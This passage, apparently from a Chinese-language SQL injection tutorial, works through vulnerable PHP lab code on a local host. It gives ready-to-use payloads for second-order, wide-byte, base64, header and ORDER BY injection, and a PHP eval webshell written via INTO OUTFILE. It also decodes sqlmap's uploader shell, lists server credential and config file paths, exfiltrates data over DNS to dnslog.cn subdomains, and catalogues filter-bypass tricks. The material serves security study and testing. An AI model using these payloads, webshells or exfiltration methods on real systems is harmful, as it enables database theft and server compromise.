$result2=mysqli_query($con,"select * from person where username='".$username."'");
$row2=mysqli_fetch_array($result2);
if ($row2) {
echo $row2['username'].":".$row2['money'];
}else{
echo mysqli_error($con);
}
?> 第一部分代码我们模拟了注册用户的操作，代码会在GET 参数ID 中获取username 和password ，对username 参数使用addslashes 进行转义操作（转义了单引号，使得语句无法闭合），参数password 进行了MD5哈希 ，因此此处不存在注入，而在第二部分代码中，我们模拟了个人主页查询余额的功能，代码会在GET 参数ID 转成了INT 类型，这里我们也无法拼接SQL语句，无法进行注入，然后将到user 表中获取ID 对应的username ，然后接着到person 表中查询username 对应的数据，而此处并未对数据进行转义，存在注入。
例如我们：
Copy http://127.0.0.1/double1.php?username=test1&password=123456 我们可以发现，数据已经被插入数据库中：
当我们插入用户名为test1' 时，
数据被保存在数据库中，由于addslashes 的存在，这里的' 被转义为\' ，因此不会报错，而在MySQL中，会自动去除转义字符也就是反斜杠\ 。因此其实我们使用该语句时，数据库中真实执行的命令如下：
Copy insert into users(username,password) values('test1\'','e10adc3949ba59abbe56e057f20f883e') 因此我们这里将test1' 插入到了数据库中，而我们当对double2.php 进行使用时，我们首先尝试正常的test1 ，由上文我们知道它的id 为1 ，我们进行查询：
这里用正常的id去对应person 表中的数据，并取出相应的username 以及money ，但是这里并没有进行任何限制，因此当我们取之前的test1' ，由于' 拼接到了SQL语句中，因此会使得数据库发生报错：
至此，我们就可以利用这一过程进行二次注入的攻击，我们的攻击过程是：
由于数据库在取出数据时，并没有对数据进行检查，语句得以执行
如上案例，我们可以结合之前联合注入的知识，很容易构造出如下POC
Copy test' union select 1,user(),2%23 我们首先通过double1.php 将该语句插入数据库中：
接下来利用double2.php 来取出数据：
我们看到，我们的语句已经成功执行了。
宽字节注入：
前面我们讲到，MySQL中为了防止注入问题的发生，一般会采用addslashes ，会将' 转义为/' ，类似的函数还有mysql_real_escape_string()(PHP 4 >= 4.3.0, PHP 5 本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除)，mysql_escape_string (PHP 4 >= 4.0.3, PHP 5, 注意：在PHP5.3中已经弃用这种方法，不推荐使用)，还有magic_quotes_gpc ，而宽字节注入问题主要是利用MySQL的一个特性，MySQL在使用GBK编码的时候，会认为两个字符是一个汉字。类似的还有GB2312、GB18030、BIG5、Shift_JIS等，但是要注意，GB2312 不存在宽字节注入问题，这主要是GB2312编码取值范围的事情，它高位范围0xA1~0xF7，低位范围是0xA1~0xFE，\是%5c，是不在低范围中的，即其根本不是GB2312编码，故其不会被吃掉。故只要低位的范围中含有0x5c的编码，就可以进行宽字节的注入会出现吞字符的现象，在PHP中，通过iconv() 进行编码转换时，也可能存在宽字节注入的问题，我们后面详解。
如下代码：
Copy <?php
header("Content-type:text/html;charset=GBK");
$con=mysqli_connect("localhost","root","root","test");
mysqli_set_charset($con,'gbk');
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = addslashes($_GET['id']);
echo "sql:select * from users where id=" . $id;
$result=mysqli_query($con,"select * from users where id='".$id."' ");
$row = mysqli_fetch_array($result);
$username = $row['username'];
$result2 = mysqli_query($con,"select * from person where `username`='".$username."'");
if($row2 = mysqli_fetch_array($result2)){
echo $row2['username'] . " : " . $row2['money'];
}else{
echo mysqli_error($con);
}
?> 这里还是上文中二次注入的代码稍加改造了一下，header("Content-type:text/html;charset=GBK"); 是为了将我们数据库中实际执行的代码打印出来，便于查看。mysqli_set_charset($con,'gbk'); 是将字符设置为GBK 编码，接下来我们可以尝试一下：
当我们正常属于id 为1 时：
我们可以看到数据库中正常执行了select * from users where id=1 并且打印出了后面数据库中对应的内容，当我们想要利用' 进行闭合时：
我们发现，因为有了addslashes 的作用，我们的语句变成了select * from users where id=1\'，并且正常执行了，并没有引发报错，那么我们利用%df' 尝试一下：
我们发现无法正常显示了，这事由于GBK编码的编码范围是0x8140~0xFEFE（不包括xx7F），在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c，因此吃掉\，而%27、%20小于ascii(128)的字符就保留了，由于\ 被吞并，因此' 又得以逃逸，我们就可以发起注入攻击：
相同的，其它的宽字符集也是一样的分析过程，要吃掉%5c，只需要低位中包含正常的0x5c就行了，我们只需在前面加入奇数 个%df 类似于这种能与后面的%5c 组成汉字的字符都可以利用（两个%df%df 是哌 ，多出来的那个%df 就可以吞并\）即可，
而iconv() 情况比较奇特，首先我们要知道他的用法：
这里存在两种情况，就是从GBK 转成utf-8 与上文讲述相同，这里不再赘述，而从utf-8 转为GBK 利用方式还是要讲述一下，我们这里的POC：
因为錦的utf-8编码为0xe98ca6，GBK 编码为0xe55c ，也就是说，在錦被iconv从utf-8转换成gbk后，变成了%e5%5c，而后面的'被addslashes变成了%5c%27，这样组合起来就是%e5%5c%5c%27，两个%5c就是\，正好与后面的\组合为\\，导致'逃逸出单引号，产生注入，数据库中实际执行的语句为：
Copy select * from users where id='1\\' and sleep(5) -- ' Base64注入：
如下代码：
Copy <?php
$id = base64_decode($_GET['id']);
$id = urldecode($id);
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$result=mysqli_query($con,"select * from users where id='".$id."' ");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " : " . $row['password'];
echo "<br>";
?> 我们可以从代码得知，代码除了对GET 参数id 进行了base64 加密处理，并未做其他限制，例如我们知道，1 经base64 编码后结果为MQ== ，我们可以进行访问:
我们看到，正常的查询到了id 为1 的数据，由上面可知，注入POC：
Copy -1' union select 1,user(),3 # 由于代码中会对传入参数解密一次，因此我们先将POC通过base64 加密一次：
Copy LTElMjclMjB1bmlvbiUyMHNlbGVjdCUyMDElMkN1c2VyJTI4JTI5JTJDMyUyMCUyMw== XFF注入：
如下代码：
Copy <?php
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$result = mysqli_query($con,"select * from ips where `ip`='".$ip."'");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " : " . $row['password'];
echo "<br>";
?> 在PHP中，getenv() 用于获取一个环境变量的值，类似于$_SERVER 或_ENV ，返回环境变量对应的值，如果变量不存在则返回FALSE 。
在代码中，程序首先判断是否存在HTTP头部参数HTTP_CLIENT_IP ，如果存在，则赋值给$ip ，如果不存在，则判断是否存在HTTP头部参数HTTP_X_FORWARDED_FOR ，如果存在，则赋值给$ip ，如果不存在，则将HTTP头部参数REMOTE_ADDR 赋值给$ip ，接下来将$ip 拼接到select 查询语句中。
由于HTTP头部参数是可以伪造的，所以我们可以添加一个头部参数CLIENT_IP 或X_FORWARDED_FOR ，我们首先设置X_FORWARDED_FOR 为127.0.0.1 ，我们看到顺利查询到了对应的数据。
由于拼接地方未做任何限制，因此我们直接如同上文，拼接查询语句即可：
order by注入：
如下代码：
Copy <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY-Error-Numeric</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysql_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-46.jpg" /><br>';
echo "Lesson Concept and code Idea by <b>D4rk</b>";
}
?>
</font> </div></br></br></br>
</center>
</body>
</html>
这里我们可以通过代码得知，我们的注入点在order by 后，它不同于我们where 后面的语句，不能使用union 注入，我们首先可以使用?sort=1 desc 或者?sort=1 asc 来观察结果是否相同来判断是否存在注入，如果不同，则证明可以利用此条件进行注入。
我们可以通过构造sort 后面的参数进行注入：
Copy 直接添加注入语句，?sort=(select ******)
利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
利用 and，例如?sort=1 and (加 sql 语句)。 比如：
Copy http://127.0.0.1/sqli/Less-46/?sort=rand(true)
Copy http://127.0.0.1/sqli/Less-46/?sort=rand(false) 利用True 以及False 的返回结果不同我们就可以按照布尔盲注来进行判别，比如：
Copy http://127.0.0.1/sqli/Less-46/?sort=rand(ascii(left(database(),1))=115)
Copy http://127.0.0.1/sqli/Less-46/?sort=rand(ascii(left(database(),1))=116) 两次结果不同我们就可以看到是可以利用布尔注入进行注入的，（待考证，两次结果个人感觉无法判断，两次都是乱序的） 同理我我们也可以利用报错注入以及延时注入进行注入，POC：
报错注入：
Copy ?sort=1 and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) 延时注入：
Copy /?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1) 上文我们介绍了limit 注入，其实这里我们可以扩展以下思路：
Copy limit 前未使用order by的语句，可以直接使用union select 进行注入；
limit 前使用了 order by的语句，且mysql版本在5.0.0到5.6.6之间的，尝试使用procedure存储过程和analyse函数 这里我们分析前面又order by 的语句，我们知道limit后面能够拼接的函数只有into和procedure，into可以用来写文件，在Limit后面 可以用 procedure analyse()这个子查询，这里我们可以利用extractvalue 报错注入和 benchmark 函数进行延时（不可以使用sleep ）。
报错注入：
Copy ?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1) 当然了我们也可以利用into 写文件：
Copy http://127.0.0.1/sqli/Less-46/?sort=1%20into%20outfile%20%22D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-46\\test%201.txt%22 当然我们也可以利用上文中讲过的利用16进制代码上传网马。
利用方式
拖库：
正如上文介绍，数据库中的数据会受到威胁，这里不再详细介绍。
导入导出文件：
首先我们了解一下load_file() 函数
load_file() 函数可以读取文件并且将文件内容以字符串的形式返回。
注意：
MYSQL新特性secure_file_priv对读写文件的影响：
ure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制
我们可以使用如下命令查看secure-file-priv参数的值：
Copy show global variables like '%secure%'; 本地测试的时候，windows下我们可以通过修改mysql.ini 文件，在[mysqld] 下加入secure_file_priv = ，Linux 下修改my.cnf 在[mysqld]内加入secure_file_priv =来更改这一配置，更改过后需要重启mysql 服务。
之后我们将路径中的\ 更改为\\ ，就可以读取文件了：
这里我们要注意，load_file() 使用需要以下几个条件：
下面给大家列举一些常用的load_file() 路径：
WINDOWS下：
MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\Program Files Serv-U\ServUAdmin.exe
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif
c:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\apache\conf\httpd.conf
c:/Resin-3.0.14/conf/resin.conf
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD
LUNIX/UNIX 下：
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/usr/local/app/php5/lib/php.ini
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/httpd/conf/httpd.conf
/usr/local/apche/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/httpd/conf/httpd.conf
/usr/local/apche/conf /httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
LOAD DATA INFILE：
用于从一个文本中读取行，并装入一个表中，文件名称必须为一个字符串。
Copy LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name,...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var,...)]
[SET col_name = expr,...] 注意：load data 需要有处理文件的权限， GRANT FILE ON . TO user@host;
例如：
Copy > load data infile "/data/mysql/e.sql" into table e fields terminated by ',';
Query OK, 3 rows affected (0.01 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0
> select * from e;
+------+-------+-------+
| id | fname | lname |
+------+-------+-------+
| 1669 | Jim | Smith |
| 337 | Mary | Jones |
| 2005 | Linda | Black |
+------+-------+-------+ 这里我们指定分隔符 为, 这里我们要清楚，如果错误代码为2 ，文件不存在；错误代码为13 说明没有权限。
SELECT INTOOUTFILE：
可以把选择的行写入一个文件中，用法如下：
Copy SELECT [列名] FROM table [WHERE 语句]
INTO OUTFILE '目标文件' [OPTION]; 因为我们是要创建一个文件，因此必须拥有文件写入权限（FILE权限）后，才能使用此语法。同时，“目标文件”不能是一个已经存在的文件。
我们一般有两种用法，一种是直接使用select 将内容导入文件中：
Copy select <?php@eval($_post[“mima”])?> into outfile "c:\\phpnow\\htdocs\\test.php" 还可以修改文件结尾，这里一开始我也没明白是什么意思，直到看完sqlmap os shell解析 ，大致清楚了是什么意思。
首先介绍语法：
Copy select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件 这里我是这样理解的，代码的意思是将内容写入到文件中去，其中LINES TERMINATED BY则是into outfile的参数，意思是行结尾的时候用by后面的内容，一般情况下为‘/r/n’，但是这里我们可以将by后的内容修改为后面的16进制的文件。
比如作者在分析SQLMAP 的--os-shell 参数时候，抓包发现，用的就是这一句法：
Copy http://192.168.0.166/php/newsshow.php?cid=-6901%20OR%203616%3D3616%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fwamp%2Fwww%2Ftmpulujm.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20- 我们解码其中16进制内容代码后发现内容如下：
Copy <?php
if (isset($_REQUEST["upload"]))
{
$dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0')
{
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
else
{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
@chmod($dir."/".$file,0755);echo "File uploaded";
}
else
{
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?> 实现的就是上传文件，同时根据phpversion ，将上传的文件的权限进行修改。
这里需要注意的是要根据具体环境分析文件路径需要不需要转义，在load_file() 前台无法导出数据的时候，我们也可以利用如下命令将服务器中的内容导出到WEB服务器目录下，这样就可以得到数据了：
Copy selectload_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)intooutfile ‘c:\\wamp\\www\\test.php’ Dnslog注入：
前面我们也讲过了，没有回显与报错信息的情况下，我们要使用盲注的方法来进行测试，这种注入速度非常慢，需要一个一个字符猜解，而且延时注入还会受到网速的影响，因此我们这里介绍一种其他的方法。
上面我们讲到了load_file ()我们就可以利用它来完成DNSLOG。load_file()不仅能够加载本地文件，同时也能对诸如 \\www.test.com
首先我们要知道什么是DNS ：
DNS是进行域名 和与之相对应的IP地址 转换的服务器。
知道了什么是DNS 之后，我们要了解一下DNS 的解析过程：
当根域名服务器收到本地域名服务器发出的迭代查询请求报文时，要么给出所要查询的IP地址，要么告诉本地服务器：“你下一步应当向哪一个域名服务器进行查询”。然后让本地服务器进行后续的查询。根域名服务器通常是把自己知道的顶级域名服务器的IP地址告诉本地域名服务器，让本地域名服务器再向顶级域名服务器查询。顶级域名服务器在收到本地域名服务器的查询请求后，要么给出所要查询的IP地址，要么告诉本地服务器下一步应当向哪一个权限域名服务器进行查询。最后，知道了所要解析的IP地址或报错，然后把这个结果返回给发起查询的主机。
Copy 首先用户请求本地的DNS服务器进行递归查询
本地服务器采用迭代查询，他先向根DNS服务器查询
根DNS服务起告诉本地服务器，下一次查询应查询.cn服务器的ip地址
本地服务器向.cn服务器进行查询
.cn服务器告诉本地服务器，下一次应查询.com.cn服务器的ip地址
本地服务器向.com.cn服务器进行查询
.com.cn服务器告诉服务器，下一次应查询.cloudrowd.com.cn服务器的ip第hi
本地服务器向.cloudrowd.com.cn服务器进行查询
.cloudrowd.com.cn服务器返回最终结果给本地DNS服务器
本地DNS服务返回结果给用户 这过程中，红色部分是可以控制的，我们只需要搭建一个红色部分的DNS服务器，并将要盲打或盲注的回显，放到自己域名的二级甚至三级域名上去请求，就可以通过DNS解析日志来获取到它们。
知道了上述过程，我们可以构造利用DNS从有漏洞的数据库中提取数据，要注意的是： DBMS中需要有可用的，能直接或间接引发DNS解析过程 的子程序。
Microsoft SQL Server
Copy master..xp_dirtree （用于获取所有文件夹的列表和给定文件夹内部的子文件夹）
master..xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master..xp_subdirs (用于得到给定的文件夹内的文件夹列表) Oracle
Copy GET_HOST_ADDRES (用于检索特定主机的IP)
UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据) Mysql
Copy load_file (读取文件内容并将其作为字符串返回) PostgreSQL
Copy COPY (用于在文件系统的文件和表之间拷贝数据) 接下来在讲一下UNC路径：
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式： \servername\sharename ，其中 servername 是服务器名，sharename 是共享资源的名称。 目录或文件的 UNC 名称可以包括共享名称下的目录路径，格式为：\servername\sharename\directory\filename
我们这里可以自己搭建DNS 服务器，也可以利用在线相关平台进行测试，下面给出相关资源：
DNSLOG工具
Bugscan
在线DNSLOG平台
我们这里以MySQL举例，
Copy SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.ncoa41.dnslog.cn\\abc')); 稍等片刻我们就可以在DNSLOG平台接收到结果，
由于我们自己用了hex() ，因此解密一下即可：
这样我们向查询的信息就被外带出来了。
注意：
Copy 1. \\\\ 被Windows进行转义为 \\，变成UNC格式，查询的数据可以转换为16进制，转化成能被dns正确处理的格式，类似URL编码
2. mysql使用了load_file这个函数，用户需要有对应的权限
3. 因为Linux没有UNC路径，所以当处于Linux系统时，不能使用该方式获取数据
4. 这个技术本质是利用UNC发起的DNS查询，所以UNC的路径不能超过128，否则会失败。
5. 对于表段，由于load_file()一次只能传输一条数据，所以查询的时候需要使用limit来一个一个的解析。 比如我们拿SQLI-Labs 举例：
Copy 1' and if((select load_file(concat('\\\\',(select database()),'.mysql.8i1q9d.dnslog.cn
\\abc'))),1,1)--+ 我们稍后可以看到数据库名称已经被记录：
里使用concat函数将(select database())得到的内容作为查询url的一部分，和我们的平台三级域名拼接组合成一个四级域名，而load_file函数会通过dns解析请求，所以我们在dnslog平台就可以看到查询的包含着我们注入出的数据记录。
其实DNSLOG 平台还可以结合很多其他的漏洞进行利用，我们会在之后的章节里面与大家介绍。
绕过技术
大小写绕过：
如果遇到仅对or 以及AND 进行检测，因此我们可以使用OR 或者and 绕过。
双写绕过：
在某一些简单的waf中，将关键字select等只使用replace()函数置换为空，这时候可以使用双写关键字绕过。例如select变成seleselectct，在经过waf的处理之后又变成select，达到绕过的要求。
内联注释绕过：
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中，这样这些语句如果在其它数据库中是不会被执行，但在MYSQL中会执行。
Copy mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
———————————————— 注释符号绕过：
常用的注释符有：
Copy -- 注释内容
# 注释内容
/*注释内容*/
Copy mysql> select * from users -- where id = 1;
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
————————————————
Copy mysql> select * from users # where id = 2;
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
————————————————
Copy mysql> select * from users where id = 3 /*+1*/
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test3 | pass1 |
+----+----------+----------+
1 row in set (0.00 sec)
———————————————— 特殊编码绕过：
十六进制绕过：
Copy mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
———————————————— ascii编码绕过：
Test 等价于
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
Unicode 编码：
Copy 单引号：
%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号：%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号：%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 base64编码绕过：
如同上文中举例情况，如果程序中对传入参数进行了base64 加密处理，我们也可以利用其绕过检测，这里可以根据具体情况具体分析。
两次 URL 编码：
后端对请求参数额外做了一次 URL 解码，WAF 认为安全的参数经过解码后变得不安全 例如：
Copy /index.php?id=0%252f%252a/UNION%252f%252a/SELECT 1 后端对 id 参数进行 URL 解码，得到0//UNION//SELECT
空格过滤绕过：
一般绕过空格过滤的方法有以下几种方法来取代空格：
Copy /**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
Copy mysql> select/**/*/**/from/**/users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
| 3 | test3 | pass1 |
+----+----------+----------+
————————————————
Copy #注意括号中不能含有*
mysql> select(id)from(users);
+----+
| id |
+----+
| 1 |
| 3 |
Copy mysql> select
-> *
-> from
-> users
-> where
-> id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
————————————————
Copy mysql> select`id`from`users`where`id`=1;
+----+
| id |
+----+
| 1 |
+----+ 与空格等价的字符：
Copy SQLite: 0A, 0D, 0C, 09, 20
MySQL: 09, 0A, 0B, 0C, 0D, A0, 20
PostgreSQL: 0A, 0D, 0C, 09, 20
Oracle 11g: 00, 0A, 0D, 0C, 09, 20
MSSQL: 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 特殊字符：
Copy MySQL function() as xxx 也可不用 as 和空格
select-count(id)test from users //绕过空格限制
神奇的"-+."，select+id-1+1.from users; "+"是用于字符串连接的，"-"和"."在此也用于连接，可以逃过空格和关键字过滤 过滤or and xor not 绕过：
如果or 、and 、xor 、not 被过滤，我们可以采取如下方式绕过：
Copy and = &&
or = ||
xor = | # 异或
not = ! 过滤等号=绕过：
不加通配符的like执行的效果和=一致，所以可以用来绕过。
正常加上通配符的like：
Copy mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 3 | test3 | pass1 |
+----+----------+----------+
———————————————— 不加上通配符的like可以用来取代=：
Copy mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
———————————————— rlike：模糊匹配，只要字段的值中存在要查找的 部分 就会被选择出来
用来取代=时，rlike的用法和上面的like一样，没有通配符效果和=一样：
Copy mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
———————————————— regexp：MySQL中使用 REGEXP 操作符来进行正则表达式匹配
Copy mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
———————————————— 使用大小于号来绕过
Copy mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | user2 | pass1 |
+----+----------+----------+
———————————————— <> 等价于 != 所以在前面再加一个!结果就是等号了
Copy mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)
———————————————— 等号绕过也可以使用strcmp(str1,str2)函数、between关键字等。
过滤大小于号绕过：
我们可以使用如下方法来绕过对< 以及> 的过滤：
greatest(n1, n2, n3…)返回n中的最大值：
Copy mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
———————————————— 同理我们还可以使用：least(n1,n2,n3…)返回n中的最小值。
strcmp(str1,str2)函数是string compare(字符串比较)的缩写，用于比较两个字符串并根据比较结果返回整数，若根据当前分类次序，第一个参数小于第二个，则返回 -1，其它情况返回 1。
Copy mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
Empty set (0.00 sec)
———————————————— in关键字
Copy mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)
———————————————— between a and b:范围在a-b之间：
Copy mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
